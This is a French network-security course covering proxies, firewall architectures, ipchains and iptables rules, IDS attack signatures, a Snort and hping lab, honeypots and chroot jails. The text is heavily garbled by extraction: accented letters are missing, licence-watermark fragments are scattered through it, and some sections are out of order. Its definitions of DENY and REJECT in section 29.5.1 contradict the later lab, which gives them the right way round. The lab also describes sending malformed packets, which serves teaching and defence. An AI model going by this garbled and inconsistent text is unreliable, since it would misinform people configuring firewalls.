Nous ne sommes tout de mme pas vulnrables tout ce qui passe sur le rseau. Plusieurs mthodes et solutions existent pour nous protger. La plus connue est bien sr le FireWall ou Pare Feu, mais lui tout seul, il nest pas grand chose. Il est prfrable de lui adjoindre un IDS (Intrusion Detection System). Malgr ces deux outils, rien nempchera quelquun de pntrer chez vous (surtout si vous ne regardez pas les logs !). Alors pourquoi ne pas lui offrir ce quil dsire ? Le Pot Miel nous sert donner manger ceux qui ont faim de scurit. Heureusement, lapiculteur nest pas loin pour surveiller ! Autre mthode, autre faon de voir les choses, technique de la bulle ou de la prison, laissons les gens vagabonder o ils le souhaitent mais dans leur prison uniquement ... Enn, rien ne vaut tout de mme une bonne serrure avec une bonne cl pour empcher les voleurs de rentrer, voyons donc quelques mthodes pour sautotester.

ic

en ce

FD

Introduction

Chapitre 28

Les machines A doivent se connecter au rseau par lintermdiaire du serveur Proxy. Ce dernier sert de relais entre le rseau et les machines cacher. Ainsi, les machines du rseau B auront limpression de communiquer avec le proxy, et non les machines A. Pour les applications du rseau B, ladresse IP du client sera celle du serveur Proxy. Par exemple, lors dune connexion un serveur HTTP, le browser se connecte au serveur proxy et demande lafchage dune URL. Cest le serveur proxy qui gre la requte et qui renvoie le rsultat votre browser. Ainsi, en utilisant un numro de port diffrent, le proxy oblige toutes les requte passer par lui en supprimant les trames dont le numro de port ne lui correspond pas. De plus, le proxy possde un avantage supplmentaire en termes de performances. Si deux utilisateurs demandent peu de temps dintervalle la mme page, celle-ci sera mmorise dans le proxy, et apparatra donc beaucoup plus rapidement par la suite. Ce procd est trs intressant en termes de scurit sur Internet, les machines sont protges. Le serveur proxy peut ltrer les requtes, en fonctions de certaines rgles.

oc um en ts

F IG . 28.1 Description de larchitecture rseau pour un Proxy

ou sl
109

ic

en ce

Le but dun serveur proxy est disoler une ou plusieurs machines pour les protger, comme indiqu sur le schma :

FD

Proxy[12]

Chapitre 29

29.1 Comprendre les pare-feux

Un pare-feu est une structure destine empcher un feu de la traverser. Dans un immeuble, il sagit dun mur qui divise compltement des parties de celui-ci. Dans une voiture, un pare-feu est une pice mtallique qui spare le moteur du compartiment passagers. Les pare-feux Internet sont conus pour isoler votre rseau local priv des ammes de lInternet, ou de protger la puret des membres de votre rseau local en leur interdisant laccs aux tentations dmoniaques de lInternet. ;-) Le premier pare-feu informatique tait une machine Unix sans routage avec deux connexions deux rseaux diffrents. Une carte rseau tait connecte Internet et lautre au rseau priv. Pour atteindre Internet depuis le rseau priv, il fallait se logger sur le pare-feu (Unix). Ensuite, on utilisait les ressources de ce systme pour accder Internet. Par exemple, on pouvait utiliser X-Window pour lancer le navigateur Netscape sur le pare-feu et en avoir lafchage sur sa station de travail. Si le navigateur tourne sur le pare-feu, il a accs aux deux rseaux. Cette sorte dhte double rseau (un systme deux connexions rseau) est bien si lon peut faire conance TOUS les utilisateurs. On peut congurer simplement un systme Linux et y crer un compte pour tout utilisateur souhaitant un accs Internet. Avec cette conguration, le seul ordinateur du rseau priv qui connaisse quelque chose du monde extrieur est le pare-feu proprement dit. Personne ne peut tlcharger directement sur un poste de travail personnel il faut dabord tlcharger un chier sur le pare-feu, puis transfrer celui-ci du pare-feu au poste de travail. NOTE IMPORTANTE : 99% des intrusions commencent par lobtention dun accs utilisateur sur le systme attaqu. Pour cette raison, je ne recommande pas ce type de pare-feu. De plus, il est aussi extrmement limit.

29.1.1 Politiques de scurit


Il ne faut pas croire quun pare-feu soit la panace. Il faut tout dabord dnir une politique de scurit. Les pare-feux sont utiliss dans deux buts : 1. pour maintenir des gens (intrus, vandales...) dehors ;

oc um en ts

ou sl
110

ic

en ce

FD

Les FireWall [11]

CHAPITRE 29. LES FIREWALL [?]


2. pour maintenir des gens (employs, enfants...) dedans.

111

29.2 Types de pare-feux


Il y a deux types de pare-feux : 1. pare-feux IP ou ltrants - ils bloquent tout le trac sauf celui slectionn ; 2. serveurs mandataires (parfois appels bastions) - ils ralisent les connexions rseau pour vous.

29.2.1 Pare-feux ltrants

F IG . 29.1 Principe du ltrage[2] Le ltrage de paquets est le type de pare-feu inclus dans le noyau Linux. Un pare-feu ltrant fonctionne au niveau du rseau. Les donnes ne sont autorises quitter le systme que si les rgles du pare-feu le permettent. Lorsque les paquets arrivent, ils sont ltrs en fonction de leur type, origine, destination et port qui sont dcrits dans chacun de ceux-ci. De nombreux routeurs comportent un certain nombre de services de type pare-feu. Les pare-feux ltrants peuvent tre penss comme des types particuliers de routeurs. Pour cette raison, il faut une profonde comprhension de la structure des paquets IP pour travailler avec lun deux. Puisque trs peu de donnes sont analyses et traces, les pare-feux ltrants consomment peu de temps processeur et crent moins de latence sur un rseau. Les pare-feux ltrants ne fournissent pas de contrle par mot de passe. Un utilisateur ne peut sidentier en tant que tel. La seule identit connue pour un utilisateur est ladresse IP de son poste de travail. Cela peut tre un problme lorsquon souhaite utiliser DHCP (assignation dynamique dadresses IP). En effet, les rgles tant fondes sur les adresses IP, il faut ajuster celles-ci chaque fois que de nouvelles adresses sont assignes. Les pare-feux ltrants sont plus transparents pour les utilisateurs. Ceux-ci nont en effet pas congurer des rgles dans leurs applications pour utiliser Internet. Ce nest pas vrai avec la plupart des serveurs mandataires.

oc um en ts

ou sl

ic

en ce

FD

CHAPITRE 29. LES FIREWALL [?]

112

29.2.2 Serveurs mandataires


Le meilleur exemple du fonctionnement de ceux-ci est celui dune personne se connectant un systme puis, depuis celui-ci, au reste du monde. Cest seulement avec un serveur mandataire que ce processus est automatique. Lorsque vous vous connectez lextrieur, le logiciel client vous connecte en fait dabord au serveur mandataire. Le serveur mandataire se connecte alors au serveur que vous cherchez atteindre (lextrieur) et vous renvoie les donnes reues. On utilise souvent le terme "bastion" pour dsigner un serveur mandataire situ entre le rseau local interne et lextrieur. Puisque les serveurs mandataires grent toutes les communications, ils peuvent enregistrer tout ce quils font (donc ce que vous faites). Pour les mandataires HTTP (web), cela comprend les URL que vous demandez. Pour les mandataires FTP, cela inclut chaque chier tlcharg. Ils peuvent mme expurger les mots "inappropris" des sites que vous visitez ou analyser la prsence de virus. Les serveurs mandataires dapplications peuvent authentier des utilisateurs. Avant quune connexion soit ralise vers lextrieur, le serveur peut demander lutilisateur de se connecter pralablement. Pour un utilisateur web, cela fonctionnera comme si chaque site requrait une connexion.

29.2.3 Mandataire SOCKS

De nombreux serveurs SOCKS fonctionnent uniquement avec les connexions de type TCP. De mme, comme les pare-feux ltrants, il ne permettent pas lauthentication dutilisateurs. En revanche, ils peuvent enregistrer la destination de la connexion de chaque utilisateur.

29.3 Architecture de pare-feu

Il existe de nombreuses manires de structurer un rseau pour protger des systmes laide dun parefeu. Si lon dispose de connexions ddies Internet par un routeur, on peut connecter directement celui-ci au systme pare-feu. Au contraire, on peut passer par un hub pour permettre un accs complet aux serveurs lextrieur du pare-feu. On peut congurer un certain nombre de rgles de ltrage matrielles dans le routeur. Nanmoins, ce routeur peut tre la proprit dun FAI (fournisseur daccs Internet), auquel cas on ne dispose pas du contrle de celui-ci. Il faut demander au FAI dy inclure des ltres (NdT : et avoir pleine conance dans son FAI !). On peut aussi utiliser un service commut comme une ligne RNIS. Dans ce cas on peut utiliser une troisime carte rseau pour crer une DMZ (De-Militarized Zone, ou "zone dmilitarise") ltre. Cela donne un contrle total sur les services Internet et maintient la sparation avec le rseau local normal. Si lon ne fournit pas soi-mme des services Internet mais que lon souhaite surveiller o vont les utilisateurs, on voudra utiliser un serveur mandataire (bastion). Cela peut tre intrgr dans le pare-feu. On peut aussi placer le serveur mandataire sur le rseau local. Dans ce cas, les rgles du pare-feu ne doivent autoriser que le bastion se connecter Internet pour les services que celui-ci fournit. Ainsi les utilisateurs ne peuvent accder Internet que par le mandataire.

oc um en ts

ou sl

ic

Un mandataire SOCKS ressemble beaucoup un vieux central tlphonique ches. Il interconnecte simplement une machine interne une autre externe.

en ce

FD

CHAPITRE 29. LES FIREWALL [?]

113

_________ __________ _/\__/\_ | Routeur | | | ___________ | | | sans | (DMZ) | Systeme | (LAN) | Postes de | / Internet \----| filtre |--(HUB)--| pare-feu |--(HUB)--| travail | \_ _ _ _/ |_________| | |__________| |___________| \/ \/ \/ | (Serveur pour) (lexterieur) F IG . 29.2 PareFeu derrire un routeur sans ltre __________ _/\__/\_ | | ___________ | | | Systeme | (LAN) | Postes de | / Internet \----| pare-feu |--(HUB)--| travail | \_ _ _ _/ |__________| |___________| \/ \/ \/ | (DMZ) (HUB) F IG . 29.3 PareFeu Routeur

29.4 Les limites des rewalls

Le fait dinstaller un rewall nest bien videmment pas signe de scurit absolue. Les rewalls ne protgent en effet que des communications passant travers eux. Ainsi, les accs au rseau extrieur non raliss au travers du rewall sont autant de failles de scurit. Cest par exemple le cas des connexions effectues laide dun modem. Dautre part, le fait dintroduire des supports de stockage provenant de lextrieur sur des machines internes au rseau peut tre fort prjudiciable pour la scurit de ce dernier. La mise en place dun rewall doit donc se faire en accord avec une vritable politique de scurit. Dautre part la mise en place dun systme pare-feu nexempt pas de se tenir au courant des failles de scurit et dessayer de les minimiser...

29.5 Principe du pare-feux sous Linux


Sous Linux, la reconnaissance des paquets se faits trois niveaux : les paquets entrants (input) les paquets en cours de passage (forward)

oc um en ts

En utilisant une technique de DNS jeton tournant ou laide de serveurs dapplications quilibrage de charge, on peut crer un service 100% de disponibilit. Il est facile de voir corrompre son rseau local. Il faut conserver le contrle de chaque connexion. Il suft dun utilisateur avec un modem pour compromettre tout un rseau local.

ou sl

Si lon souhaite raliser un service comme ceux de Yahoo ! ou peut-tre SlashDot, on peut souhaiter raliser une architecture redondante de routeurs et pare-feux (cf. High Availability HOWTO).

ic

en ce

FD

CHAPITRE 29. LES FIREWALL [?]


__________ _/\__/\_ | Systeme | ___________ | | | pare-feu/| (LAN) | Postes de | / Internet \----| bastion |--(HUB)--| travail | \_ _ _ _/ |__________| |___________| \/ \/ \/ F IG . 29.4 PareFeu Serveur Mandataire __________ _/\__/\_ | | ___________ | | | Systeme | (LAN) | Postes de | / Internet \----| pare-feu |--(HUB)--| travail | \_ _ _ _/ |__________| | |___________| \/ \/ \/ | ____________ | | Serveur | +----| mandataire | |____________|

114

F IG . 29.5 PareFeu : Serveur mandataire en local

Note : ce ltrage se fait au niveau du noyau, ceci ncessite donc une recompilation ou du moins une adquation de la conguration pour supporter les ltres.

Do cu me nt

29.5.1 Les rgles du ltrage avec Ipchains


Il est possible de dnir ces propres chanes (ces propres lois de gestion des paquets), ou utiliser lune des chanes dnies par dfaut. Il existe 3 chanes par dfaut : Input : les paquets entrants Forward : le trafc devant tre rout par le noyau Output : les paquets sortants (gnrs localement) Des directives peuvent tre associs ces chanes : ACCEPT : le paquet est accept DENY : le paquet est refus, on renvoie un paquet ICMP : Destination Unreachable REJECT : le paquet est refus, on ne renvoie rien MASQ : Masquerading, effectu sur la chane Forward, permet de rcrire une adresse en une autre. Il permet notamment le partage de connexion internet. REDIRECT : permet de rediriger un paquet de la chane INPUT sur lun des ports local.

La diffrence entre DENY et REJECT apparat de la faon suivante :

so us

les paquets sortants (output) gnr par le rseau local Pour quun paquet puisse passer, il faut quil puisse traverser les trois chanes, dans lordre input, forward, output. Deux applications permettent de faire ce ltrage, il sagit dIPTable et dIPChains. Les rgles de ltrage sont nommes des chanes. Cest lensemble de ces rgles qui va permettre de crer un pare-feu.

li ce nc e

FD L

CHAPITRE 29. LES FIREWALL [?]


_/\__/\_ _/\__/\__/\ | | | | / FAI No 1 \______ (WAN)_____/ Partenaires \ \_ _ _ _/ | (HUB) \_ _ _ _ _/ \/ \/ \/ | ___|____ \/ \/ \/ \/ __|____ |_______ | _/\__/\_ |______ | | || ______ | | | || (DMZ) |Systeme || (LAN) | | / FAI No 2 \--|Routeur||--(HUB)--|pare-feu||--(HUB)--|Postes| \_ _ _ _/ |_______| | |________| | |______| \/ \/ \/ | | | ______ (Serveur) (Serveur) | |Manda-| (exterieur) (commun) +----|taire | |______| F IG . 29.6 DMZ

115

29.5.2 Exemple de leffet dun DENY

29.5.3 Exemple de leffet dun REJECT

La connexion en reste l.

29.5.4 Quelques lment de la syntaxe dIpChains


Cration dun chane (ensemble de rgles) : ipchains -N nom_chane Insertion dune rgle dans une chane : ipchains -A nom_chane REGLE Effacer le contenu dune chane : ipchains -F nom_chane Dnir la policy par dfaut dune chane : ipchains -P chane TARGET Lister les chanes : ipchains -L Pour ajouter un rgle de Firewall, la syntaxe sera donc la suivante : ipchains -A nom_chane -j Action Pour afner notre rgle nous disposons doptions qui vont permettre dindiquer la provenance ou la destination du paquet. Renseignement du protocole utilis : -p tcp udp icmp Renseignement de ladresse et/ou du port source (-s) : ADRS[/MASQ] [Port dbut][ :][n] Renseignement de ladresse et/ou du port destination -d : ADRS[/MASQ] [Port dbut][ :][n] Renseignement de lun interface rseau -i ethX, pppX, etc

oc um en ts

telnet mail.mamachine.com 25 Trying 192.168.1.2...

ou sl

ic

telnet mail.mamachine.com 25 Trying 192.168.1.2... telnet : Unable to connect to remote host: Connection refused

en ce

FD

CHAPITRE 29. LES FIREWALL [?]

116

29.6 Exemple de conguration de Firewall


Refus des connexion telnet venant de lextrieur : ipchains -A input -i eth0 -s 0/0 -d mon_ip telnet -p tcp -j DENY Refus des connexion ftp venant de lextrieur : ipchains -A input -i eth0 -s 0/0 -d mon_ip ftp -p tcp -j DENY Refus des connexion smtp venant de lextrieur : ipchains -A input -i eth0 -s 0/0 -d mon_ip smtp -p tcp -j DENY Lensemble de ces rgles seront enregistres dans un script lanc au dmarrage.

http://iptables-tutorial.frozentux.net/iptables-tutorial.html Regarder les rgles de rewall mise en place

Excuter lutilitaire lokkit pour laisser passer le web, le dhcp, ssh. Rponse : lokkit ; slectionner tous les choix dans customize e

Effacer toutes les rgles iptables. Rponse : iptables -F

Rendez votre machine invisible au ping par les commandes suivantes : iptables -A INPUT -d @IP -p icmp --icmp-type echo-reply -j DROP iptables -A INPUT -d @IP -p icmp --icmp-type echo-request -j DROP Testez Rponse :

oc um en ts

ou sl

Rponse : iptables -L

ic

A noter : sous RedHat, la conguration de IPTables peut tre ralise par le logiciel de conguration lokkit accessible par la commande setup ou lokkit directement. Un excellent tutoriel (en anglais) sur IPTABLES est disponible ladresse suivante :

en ce

Disposant dun noyau 2.4, ipchains nest plus utilis dans les nouvelles versions de Linux, cest iptables qui est disponible. Pour lutilisation qui en sera faite ici, on notera simplement que la directive DENY a t remplac par la commande DROP.

FD

29.7.1 Linux : utilisation dIPTables

29.7 Travaux Pratiques

CHAPITRE 29. LES FIREWALL [?]


ping @IP du serveur protg par Firewall e e

117

Pourquoi utiliser DROP plutt que REJECT ? Rponse : REJECT renvoie une trame ICMP indiquant un refus de rponse, il va e donc indiquer au ping notre prsence e Supprimer les rgles iptables Rponse : iptables -F ; il est bien sr possible dutiliser -D pour supprimer u les r`gles une ` une. e a

Rponse : rpm -ivh telnet-server

Supprimer la rgle prcdente

Utiliser DROP : tester. Rponse : iptables -A INPUT -p tcp --dport 23 -j DROP telnet nindique rien, les trames rseaux tant tout simplement e e ignore e Il est bien sr possible de logger les interactions du Firewall -j LOG.

oc um en ts

Aides : le port utilis par telnet est le 23. on peut spcier le port sur une rgle iptables par dport <noport> on peut spcier le protocole utilis par -p <protocole> Utiliser REJECT : tester. Rponse : iptables -A INPUT -p tcp --dport 23 -j REJECT telnet indique que la connexion est refuse par le serveur. e

Rponse : iptables -D INPUT -p tcp --dport 23 -j REJECT

ou sl

Bloquer les trames arrivant sur votre serveur an dempcher les accs telnet.

ic

en ce

Si ce nest dj fait, installer un serveur telnet sur votre machine.

FD

CHAPITRE 29. LES FIREWALL [?]


iptables -A INPUT -p tcp --dport 23 -j LOG iptables -A INPUT -p tcp --dport 23 -j REJECT

118

Pour que les logs apparaissent dans un chier spars, il est ncessaire de modier le chier syslog.conf en indiquant : kern.warning /var/log/iptables.log

29.7.2 Windows : installation et conguration de ZoneAlarm


Installer ZoneAlarm sur votre machine Crer un partage complet sur lun de vos rpertoires, demander votre voisin dy accder.. Faire le ncessaire pour pouvoir y accder. Rponse : Trusted Zone : 127.0.0.1 + Rseau local e

Interdire Internet Explorer (faille de scurit en soit) daccder Internet Explorer) Rponse : Program Control : Add ... Internet Explorer Block

oc um en ts

ou sl

ic

en ce

FD

Chapitre 30

30.1 Introduction

30.2 Bibliothques de signatures contre dtection danomalies


On peut dans un premier temps classer tous les outils de dtection dintrusion selon deux modes de fonctionnement selon quils se basent sur des signatures dattaques ou sur des modles comportementaux.

30.3 IDS Bibliothques de signatures


Le concept de bibliothque de signatures dattaque est lapproche la plus basique et la plus ancienne. Cette approche consiste rechercher dans lactivit de llment surveill les empreintes (ou signatures) dattaques connues. Cette dmarche applique la dtection dintrusion, est trs similaire celle des outils antivirus et prsente les mme inconvnients que celle ci. Il est ais de comprendre que ce type dIDS est purement ractif ; il ne peut dtecter que les attaques dont il possde la signature. De ce fait, il ncessite des mises jour quotidiennes. De plus, ce systme de dtection est aussi bon que lest la base de signatures. Si les signatures sont errones ou incorrectement conues lensemble du systme est inefcace. Cest pourquoi ces systmes sont souvent contourns par les pirates qui utilisent des techniques dites "dvasion" qui consistent maquiller les attaques utilises. Ces techniques de maquillage tendent faire varier les signatures des attaques qui ainsi ne sont plus reconnues par lIDS. Ce modle est par contre trs ais implmenter et optimiser. Il permet la sparation du moteur logiciel de la base de signatures qui peut ainsi tre mise jour indpendamment. Il permet galement une classication relativement facile de la criticit des attaques signales.

30.4 IDS Modles comportementaux


Les modles comportementaux sont apparus bien plus tard que les IDS signatures. Ils ont pour principe la dtection danomalies. Leur mise en oeuvre comprend toujours une phase dapprentissage au cours de laquelle ils vont " dcouvrir " le fonctionnement "normal" des lments surveills. Une fois cet apprentissage effectu ces IDS signaleront les divergences par rapport au fonctionnement de rfrence. Les modles 119

oc um en ts

ou sl

ic

Quest ce quun IDS (Intrusion Detection System) ? Un IDS surveille les signatures dattaques, qui sont reprsentes par des motifs spciques qui souvent indiquent des intentions malicieuses ou suspectes. Lorsquun IDS surveille ces motifs sur le rseau grce une interface en mode promiscius, celui-ci devient un NIDS (Network IDS).

en ce

FD

IDS [12]

CHAPITRE 30. IDS [?]

120

comportementaux peuvent tre labors partir danalyses statistiques ou de techniques proches de lintelligence articielle. La principale promesse des IDS comportementaux est la dtection des nouveaux type dattaque. En effet ces IDS ne sont pas programms pour reconnatre des attaques spciques mais signalent toute activit "anormale". De ce fait une attaque ne doit pas ncessairement tre connue davance ; ds lors quelle reprsente une activit anormale elle peut tre dtecte par lIDS comportemental. Du fait mme de leur conception ces IDS sont incapables de qualier la criticit des attaques. De plus, ces IDS signaleront par exemple tout changement dans le comportement dun utilisateur quil soit hostile ou non. De frquents ajustements sont ncessaires an de faire voluer le modle de rfrence de sorte quil rete lactivit normale des utilisateurs et rduire le nombre de fausses alertes gnres.

30.6 IDS Rseau

30.7 IDS Systme

30.8 La ralit du march


Actuellement de nombreux produits sont disponibles, certains appartiennent mme au domaine public (SNORT http ://www.snort.org). Leur complexit de mise en oeuvre et leur degr dintgration sont trs divers. Mme si les outils strictement bass sur des modles comportementaux sont actuellement en perte de vitesse ; des modles de ce type sont de plus en plus intgrs des IDS initialement bass sur une bibliothque de signatures. En effet, certains diteurs ont dj fait le choix de complter leur base de signatures par un modle comportemental basique permettant de signaler des vnements non identiables. Les IDS systmes sont un peu en retrait face aux IDS rseaux mme si ces derniers sont confronts comme nous lavons vu des problmatiques qui devraient beaucoup peser sur leur avenir.

Les IDS Systmes analysent quant eux le fonctionnement ou ltat des machines sur lesquelles ils sont installs an de dtecter les attaques. Ils sont trs dpendants du systme sur lequel ils sont installs. Il faut donc des outils spciques en fonction des systmes dploys. Ces IDS peuvent sappuyer sur des fonctionnalits daudit propres au systme dexploitation ou non pour vrier lintgrit du systme et gnrer des alertes. Il faut cependant noter quils sont incapables de dtecter les attaques affectant les couches rseaux de la machine ; typiquement les Dni de service comme SYN FLOOD ou autre.

oc um en ts

Ces outils analysent le trac rseau ; ils comportent gnralement une sonde qui " coute " sur le segment de rseau surveiller et un moteur qui ralise lanalyse du trac an de dtecter les signatures dattaques ou les divergences face au modle de rfrence. Les IDS Rseau base de signatures sont confronts actuellement deux problmes majeurs qui sont : le dveloppement de lutilisation du cryptage et le dveloppement des rseaux commuts. En effet, il est dune part plus difcile "dcouter" sur les rseaux commuts et le cryptage rend lanalyse du contenu des paquets presque impossible. La plupart des NIDS sont aussi dits IDS inline car ils analysent le ux en temps rel. Pour cette raison, la question des performances est trs importante car de tels IDS doivent tre de plus en plus performants an danalyser les volumes de plus en plus importants pouvant transiter sur les rseaux.

ou sl

ic

en ce

FD

Les IDS peuvent galement se classer selon deux catgories majeures selon quils sattachent surveiller le trac rseau ou lactivit des machines. On parle dIDS rseau (NIDS : Network IDS) ou dIDS Systme (Host based IDS).

30.5 Rseau contre Systme

CHAPITRE 30. IDS [?]

121

30.9 Le futur
On peut penser que dans un futur proche devrait apparatre et se dvelopper les IDS distribus. Ceux-ci consisteraient en agents dploys sur tous (ou presque) les noeuds du rseau et agissant comme autant de sondes rseau et dIDS systmes. Ces agents analyseraient le trac rseau destination de la machine sur laquelle ils seraient installs et contrleraient galement lintgrit de ce systme. Le point central deviendrait alors un "serveur IDS" auquel tous les agents devraient rendre compte et qui seraient en mesure dagrger et de consolider les informations en provenance des agents an de gnrer les alertes.

30.10 Critres de choix


Aujourdhui les systmes de dtection dintrusion sont rellement devenus indispensables lors de la mise en place dune infrastructure de scurit oprationnelle. Ils sintgrent donc toujours dans un contexte et une architecture qui imposent des contraintes pouvant tre trs diverses. Cest pourquoi il nexiste pas de grille dvaluation unique pour ce type doutil. Pourtant un certain nombre de critres peuvent tre dgags ; ceux ci devront ncessairement tre pondrs en fonction du contexte de ltude. Fiabilit : Un dtecteur dintrusion doit tre able ; les alertes quil gnre doivent tre justies et aucune intrusion ne doit pouvoir lui chapper. Un IDS gnrant trop de fausses alertes sera coup sr dsactiv par ladministrateur et un IDS ne dtectant rien sera rapidement considr comme inutile. Ractivit : Un IDS doit tre capable de dtecter les nouveaux types dattaques le plus rapidement possible ; pour cela il doit rester constamment jour. Des capacits de mises jour automatiques sont pour ainsi dire indispensables. Facilit de mise en uvre et adaptabilit : Un IDS doit tre facile mettre en oeuvre et doit pouvoir surtout sadapter au contexte dans lequel il doit oprer ; il est inutile davoir un IDS mettant des alertes en moins de 10 secondes si les ressources ncessaires une raction ne sont pas disponibles pour agir dans les mmes contraintes de temps. Performance : la mise en place dun IDS ne doit en aucun cas affecter les performances des systmes surveills. De plus, il faut toujours avoir la certitude que lIDS a la capacit de traiter toute linformation sa disposition (par exemple un IDS rseau doit tre capable de traiter lensemble du ux pouvant se prsenter un instant donn sans jamais perdre de paquets) car dans le cas contraire il devient trivial de masquer les attaques en augmentant la quantit dinformation. Multicanal : Un bon IDS doit pouvoir utiliser plusieurs canaux dalertes (email, pager, tlphone, fax...) an de pouvoir garantir que les alertes seront effectivement mises. Information : LIDS doit donner un maximum dinformations sur lattaque dtecte an de prparer la raction. Classication : il doit tre ais de hirarchiser la gravit des attaques dtectes an dadapter le mode dalerte.

30.11 Exemples de signatures [5]


30.11.1 Signature de lattaque LAND
IP SOURCE = IP DESTINATION Donc sur un rseau tout paquet dont lIP SOURCE = IP DESTINATION est porteur dune attaque LAND.

30.11.2 Signature de lattaque SMURF


Tout trac entrant sur ladresse de broadcast est porteur dune attaque SMURF.

oc um en ts

ou sl

ic

en ce

FD

CHAPITRE 30. IDS [?]

122

30.11.3 Signature dune attaque DNS : transfert de zone


Tout trac entrant sur du port 53 TCP est un transfert de zone.

30.11.4 Signature paquet suspect


Tout paquet TCP ayant les drapeaux SYN et FIN dnis est porteur dune attaque car en temps normal on ne peut pas demander en mme temps une ouverture de session et une fermeture de session.

30.11.5 Signature paquet fragment

30.11.6 Signature ICMP


Tout paquet ICMP cho request entrant est suspect.

30.12 Conclusion

30.13 Travaux Pratiques


30.13.1 Snort

Installer snort Regarder la base de signatures de Snort

Lire la documentation de hPing, utiliser le pour envoyer des trames volontairement malformes.

30.13.2 Note sur les logs de snort


Par dfaut les logs de Snort sont compresss en format tcpdump. Il est donc possible de les lire de 2 faons : Par tcpdump : tcpdump -r /var/log/snort/snort.log Par snort, avec lutilisation des librairies de signatures.

oc um en ts

Les IDS sont actuellement des produits mrs et aboutis. Ils continuent dvoluer pour rpondre aux exigences technologiques du moment mais offrent dores et dj un ventail de fonctionnalits capable de satisfaire les besoins de tous les types dutilisateurs. Nanmoins comme tous les outils techniques, ils ont des limites que seule une analyse humaine peut compenser. Un peu comme les Firewalls, les dtecteurs dintrusion deviennent chaque jour meilleurs grce lexprience acquise avec le temps mais ils deviennent aussi de plus en plus sensibles aux erreurs de conguration et de paramtrage. Par consquent, il est plus que fondamental de former correctement les personnes charges de la mise en oeuvre et de lexploitation des IDS. Malheureusement, il semble que cest encore l o aujourdhui encore subsiste la plus grande partie de la difcult.

Rponse : vi /etc/snort/snort-lib

ou sl

ic

en ce

FD

Si dans le dernier fragment dun paquet fragment, la taille plus son OFFSET est plus grand que le MTU du rseau, le paquet est suspect.

CHAPITRE 30. IDS [?]


123

mkdir /tmp/dir On cre un rpertoire pour les stocker les informations extraites cd /etc/snort On se mets dans le rpertoire de snort . snort.conf On lit les valeurs par dfaut de conguration snort -r /var/log/snort/snort.log -S HOME_NET=$DEBIAN_SNORT_HOME_NET -c /etc/snort/snort-lib -l /tmp/dir Enn, il est possible de consulter la bases de donnes de Snort : http://www.snort.org/snort-db/ pour obtenir de plus amples formations sur lune des signatures.

oc um en ts

ou sl

ic

en ce

FD

Chapitre 31

31.1 But

1 Vritable

pirate dnu de scrupules, nhsite pas commettre des dgats lors de ses intrusions indlicates dans les rseaux.

oc um en ts

Le but principal est de connatre les outils, les tactiques et les motivations de la communaut Black Hat1 , et partager les leons ainsi acquises. Ils permettent par la mme occasion de voir les effets des vers (section 36.2 page : 138). Recherche Identication des nouveaux outils : exploitation de nouvelles vulnrabilits Identication des nouvelles tactiques : backdoors Prolage des Black Hats : "I know plenty of people thatd pay exorbatent amounts for packeting" Prvention & prdiction rapide Rponse sur incident Dvelopper des comptences Self-defense

F IG . 31.1 Connatre son ennemi ...

ou sl
124

ic

en ce

FD

Les Pots Miel (Honey Pots) [7]

CHAPITRE 31. LES POTS MIEL (HONEY POTS) [?]

125

31.2 HoneyPots
31.2.1 Dnition
Un pot miel reprsente une ressource scurise qui na aucune valeur relle mais une valeur ctive. Ce pot miel a pour but dattirer les abeilles an quelles y butinent. Dans notre cas, le but est dinviter les hackers scanner la machine, lattaquer, la corrompre. Bien sr, toutes les intractions sont suivies la loupe par ladministrateur systme & rseaux.

31.2.2 Danger

31.3 Honey Net


31.3.1 Dnition

oc um en ts

F IG . 31.2 Exemple de rseau de Pots Miel

ou sl

ic

Cest un rseau de Pot Miel. Il permet de recrer une architecture complte dun rseau avec des vrais serveurs parmi des faux. Une fois que lun des systmes est corrompu ou attaqu, on en analyse les logs an de connatre ce qui a t utilis.

en ce

FD

Risque lev, attire les abeilles mais aussi les gupes et les frelons. Il existe une grande interaction avec lattaquant. Le systme demande une surveillance constante.

CHAPITRE 31. LES POTS MIEL (HONEY POTS) [?]

126

31.4 Fonctionnement
Rseau hautement contrl dans lequel tous les paquets entrants ou sortants sont enregistrs, capturs et analyss. Tout trac rseau est suspect.

31.4.1 Danger
Les Honeynets sont hautement complexes et requirent de nombreuses ressources humaines et machines. Les Honeynets reprsentent une technologie Haut Risque, ils peuvent tre utiliss pour attaquer ou descendre dautres systmes qui ne sont pas eux des HoneyNets.

31.6 Conclusion

oc um en ts

En rsum : ncessite une personne avec de larges comptences, disponible et ayant du temps consacrer lpluchage des logs. Prol de chercheur universitaire en gnral. De plus, les pots miel ne protgent pas, ils attirent ...

ou sl

Il est suprenant de pouvoir lire ce que lon peut apprendre grce une honeypot : "An Evening with Berferd In Which a Cracker is Lured, Endured and Studied de Bill Cheswick (ftp ://ftp.netsys.com/len/papers/berferd.pdf). Par contre la proximit entre Pirate et Administrateur est trs proche voire malsaine et la ncessit dcoute doit tre de tous les instants.

ic

en ce

Tous les lments dun rseau Honeynet sont combins sur une seule et mme machine physique. Ceci est ralis en excutant de muliples instances de diffrents systmes simultanment, en utilisant par exemple VMware et Linux en mode console.

FD

31.5 Virtual Honeynets

Chapitre 32

32.1 Quest ce que le chrooting ?

32.2 Exemple

32.3 But

Le but du chrootage est de crer une prison thoriquement impntrable protgeant ainsi tout ce qui est lextrieur de la prison. Dans lexemple ci-dessus, il sera impossible daccder aux chiers en dehors de /home/jonz, puisque maintenant / pointe sur /home/jonz. Le chrootage est communment utilis dans les environnements multiutilisateurs pour protger le systme de chiers. Le Chrootage peut aussi tre utilis pour emprisonner des dmons (services rseaux) an de prvenir les attaques des hackers. Si un hacker exploite une vulnrabilit dun dmon systme chroot, sa capacit affecter les chiers en dehors de la prison ou obtenir un accs root est rduite au minimum. La principale raison de lutilisation de cette mthode est que le shell nest plus une partie de lenvironnement, donc mme si un hacker casse la pile, il ny a pas de shell faire tomber. De nombreuses personnes ont indiqu quelles taient capable de casser une prison, mais dans de nombreux cas, il y avait un shell (ce qui nexiste pas dans le cas dune prison pour dmon). Sortir dune prison pour dmon est extrmement difcile.

32.4 Conclusion
Les dmons associs aux protocoles FTP et SSH utilisent le cloisonnement. Celui-ci permet notamment au niveau de FTP de faire des ouvertures de type anonymous. La version libre de SSH (OpenSSH) nintgre pas cette fonctionnalit, il est cependant possible de raliser

oc um en ts

Si un chier nomm /home/jonz/hello.txt existe sur le systme et que je chroote sur /home/jonz, le chier existera toujours dans lenvironnement chroot mais son chemin sera : /hello.txt.

ou sl
127

